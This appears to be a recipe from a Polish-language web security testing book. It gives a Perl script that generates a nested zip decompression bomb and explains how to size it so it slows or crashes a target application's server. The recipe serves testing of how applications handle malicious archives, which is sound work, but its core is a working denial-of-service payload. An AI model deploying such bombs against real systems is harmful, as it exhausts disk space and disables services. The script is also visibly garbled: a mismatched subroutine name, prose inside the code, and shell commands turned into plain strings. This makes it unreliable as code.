Zagrożenia w sieci

Tworzenie bomb dekompresji

Problem

Bomba dekompresji to skompresowany plik o bardzo małych rozmiarach, który rozrasta się do nieproporcjonalnie dużych ilości danych. Jeśli aplikacja przetwarza skompresowane pliki (.zip, .jar, .tar.gz, .tar.bz2 itp.), to można skorzystać z niniej­szej receptury do wygenerowania patologicznie skompresowanego pliku. Można z niego skorzystać w celu sprawdzenia, czy aplikacja odpowiednio radzi sobie z tak spreparowanymi złośliwymi danymi wejściowymi.

Rozwiązanie

Program zamieszczony poniżej generuje tzw. „zip śmierci". Wystarczy, że napastnik zmieni narzędzia kompresji, aby zamiast formatu .zip spróbować innych typów bomb dekompresji (na przykład bzip2).

Skrypt Perla do utworzenia bomby dekompresji

#!/usr/bin/perl

use File::Copy;

$width = 17;

$depth = 6;

$tempdir = '/tmp/dec_bomb';

$filename = '0.txt';

$zipfile = 'bomb.zip';

chdir($tempdir) or die "nie można zmienić katalogu na $tempdir $!";;

createInitialFile();

createDecompressionBomb();

sub createlnitialFile { my $file = $filename; my $i = 0;

open FILE, ">$file" or die "nie można otworzyć pliku $file $!";

Największy plik, jaki można skompresować za pomocą bieżącej wersji formatu 'zip', ma rozmiar 4 GB (minus 1 bajt) for ($i = 0; $i < (1024*4)-1; $i++) { print FILE '1'x1048576;

}

print FILE '1'x1048575; close FILE;

'zip -rmj9 $depth-0.zip $filename'

}

sub createDecompressionBomb { my $d = 0; my $w = 0;

for ($d = $depth; $d > 0; $d--) { if ($d < $depth) {

'zip -rmj9 $d-0.zip *.zip';

}

for ($w = 1; $w < $width; $w++) {

copy($d . '-0.zip', $d . '-' . $w . '.zip') or die "nie można skopiować pliku

$!";

}

}

}

'zip -rmj9 $zipfile *.zip';

 

DYSKUSJA

Z łatwością możemy utworzyć bomby dekompresji o dowolnych rozmiarach nawet wtedy, gdy sami nie dysponujemy dostateczną ilością miejsca do jej przechowywania. Pokazany skrypt wymaga jedynie miejsca wystarczającego do zapisania jednego pliku o rozmiarze 4 gigabajtów i jednego pliku o rozmiarze 4 megabajtów podczas działania, natomiast próba rozpakowania archiwum spowoduje jego dekompresję do rozmiaru 96 550 terabajtów. To wystarczająca wielkość, aby zapełnić przestrzeń dyskową na dowolnym serwerze.

Przy wyborze lokalizacji do utworzenia bomby dekompresji należy zachować ostrożność. Ponieważ ma ona służyć do blokowania takich programów jak skanery antywirusowe, z ła­twością można doprowadzić do zablokowania tego typu programów we własnym systemie, a nawet spowodować, że przestanie on odpowiadać. Oczywiście, nie należy podejmować próby dekompresji archiwum we własnym systemie.

Dla podanych wartości zmiennych $depth i $width wykonanie skryptu z listingu 12.17 zaj­muje kilka minut. Podczas prób zwiększania tych wartości należy zachować ostrożność. Rozmiar bomb dekompresji wzrasta bardzo szybko. Ponieważ w przypadku pełnej dekom­presji archiwum wartości domyślne z powodzeniem wystarczą do zapełnienia miejsca na dysku dowolnego serwera, nie ma powodu, by je zwiększać. Znacznie większe korzyści mo­głoby przynieść zmniejszenie wartości na przykład do poziomu $depth=5 i $width=2. W ten sposób można stworzyć archiwum, które po rozpakowaniu osiągnie rozmiar 128 gigabajtów. W przypadku serwerów dysponujących przestrzenią dyskową większą niż 128 gigabajtów w ten sposób uzyskamy pewność, że aplikacja jest wrażliwa na ataki bomb dekompresji. Spowo­dujemy jej znaczne spowolnienie, ale nie doprowadzimy do awarii. Dzięki temu test będzie w mniejszym stopniu destrukcyjny.

Sposoby przesyłania bomb dekompresji na serwery docelowe omówiono w recepturze 8.8. Jeśli po przesłaniu bomby dekompresji na serwer aplikacja spowolni swoje działanie lub przestanie odpowiadać, będzie to oznaczało, że wynik testu jest dla niej dodatni — aplikacja jest wrażliwa na ataki za pomocą bomb dekompresji.